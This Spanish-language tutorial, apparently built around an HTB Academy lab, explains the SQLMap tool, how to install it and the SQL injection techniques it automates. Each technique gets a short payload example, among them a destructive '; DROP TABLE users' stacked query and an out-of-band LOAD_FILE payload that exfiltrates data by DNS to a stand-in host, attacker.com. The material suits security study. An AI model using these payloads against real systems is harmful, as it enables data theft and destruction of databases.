SQLMap – Automatización de SQL Injection
SQLMap es una herramienta gratuita y de código abierto escrita en Python, diseñada para automatizar la detección y explotación de SQL Injection (SQLi) 💉.
Se desarrolla activamente desde 2006 y sigue mantenida hoy en día.
🚀 Ejecución básica
python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'
Salida inicial:
___
__H__
___ ___[']_____ ___ ___ {1.3.10.41#dev}
|_ -| . ['] | .'| . |
|___|_ [""]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
Usar SQLMap sin autorización es ilegal.
Los desarrolladores no se hacen responsables del mal uso.
SQLMap realiza automáticamente:
-
Testing de conexión
-
Detección de WAF/IDS
-
Estabilidad del contenido
-
Verificación de parámetros dinámicos
-
Pruebas heurísticas de SQLi
⚙️ Funcionalidades principales
SQLMap incluye una gran cantidad de características:
-
🎯 Conexión con el objetivo
-
💉 Detección de inyecciones
-
🆔 Fingerprinting del DBMS
-
📂 Enumeración completa
-
🚀 Optimización y tamper scripts
-
📥 Extracción de datos
-
📁 Acceso al sistema de archivos
-
🖥️ Ejecución de comandos del sistema
🛠️ Instalación de SQLMap
En distribuciones Linux
sudo apt install sqlmap
Instalación manual
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Ejecutar:
python sqlmap.py
🗄️ Bases de datos soportadas
SQLMap soporta más DBMS que cualquier otra herramienta de SQLi:
MySQL · Oracle · PostgreSQL · MSSQL · SQLite · IBM DB2 · MariaDB · Firebird · Sybase · SAP MaxDB · Informix · HSQLDB · CockroachDB · TiDB · MemSQL · H2 · Apache Derby · Redshift · MonetDB · Altibase · …
El equipo de SQLMap sigue añadiendo soporte para nuevos gestores.
🔍 Tipos de SQL Injection soportados
SQLMap detecta y explota todos los tipos conocidos de SQLi.
Podemos verlos con:
sqlmap -hh
Técnicas:
| Letra | Tipo |
|---|---|
| B | Boolean-based blind |
| E | Error-based |
| U | Union query-based |
| S | Stacked queries |
| T | Time-based blind |
| Q | Inline queries |
🟢 Boolean-based Blind SQL Injection
Ejemplo:
AND 1=1
SQLMap distingue TRUE/FALSE mediante diferencias en la respuesta:
-
TRUE → Página normal
-
FALSE → Página con cambios notables
Es la forma más común de SQLi.
🟠 Error-based SQL Injection
Ejemplo:
AND GTID_SUBSET(@@version,0)
Si el DBMS devuelve errores al frontend, SQLMap puede usar esos errores para exfiltrar datos.
DBMS soportados:
MySQL · PostgreSQL · Oracle · MSSQL · Sybase · Vertica · DB2 · Firebird · MonetDB
Es más rápido que otros tipos porque exfiltra chunks de ~200 bytes por petición.
🔵 UNION Query-based SQL Injection
Ejemplo:
UNION ALL SELECT 1,@@version,3
Permite inyectar resultados dentro de la consulta original, por lo que puede recuperar datos muy rápido.
Considerada la técnica más rápida cuando es posible.
🧱 Stacked Queries ( Query Stacking )
Ejemplo:
; DROP TABLE users
Permite ejecutar múltiples consultas en una sola petición.
No todos los DBMS lo soportan.
MSSQL y PostgreSQL → Sí ✔️
MySQL → Depende del contexto.
🕒 Time-based Blind SQL Injection
Ejemplo:
AND 1=IF(2>1,SLEEP(5),0)
El tiempo de respuesta diferencia TRUE/FALSE.
-
TRUE → Respuesta más lenta
-
FALSE → Respuesta normal
Se usa cuando Boolean-based no funciona, especialmente en consultas no selectivas (INSERT, UPDATE, DELETE).
🧩 Inline Queries
Ejemplo:
SELECT (SELECT @@version) FROM ...
Menos común, pues depende de cómo esté programada la aplicación.
SQLMap también lo soporta.
📡 Out-of-Band (OOB) SQL Injection
Ejemplo:
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))
Usa DNS exfiltration, ideal cuando:
-
La respuesta no muestra contenido
-
El WAF bloquea otros métodos
-
El canal HTTP es limitado
SQLMap genera subdominios como:
<datos>.attacker.com
y exfiltra datos a través del servidor DNS controlado por el atacante.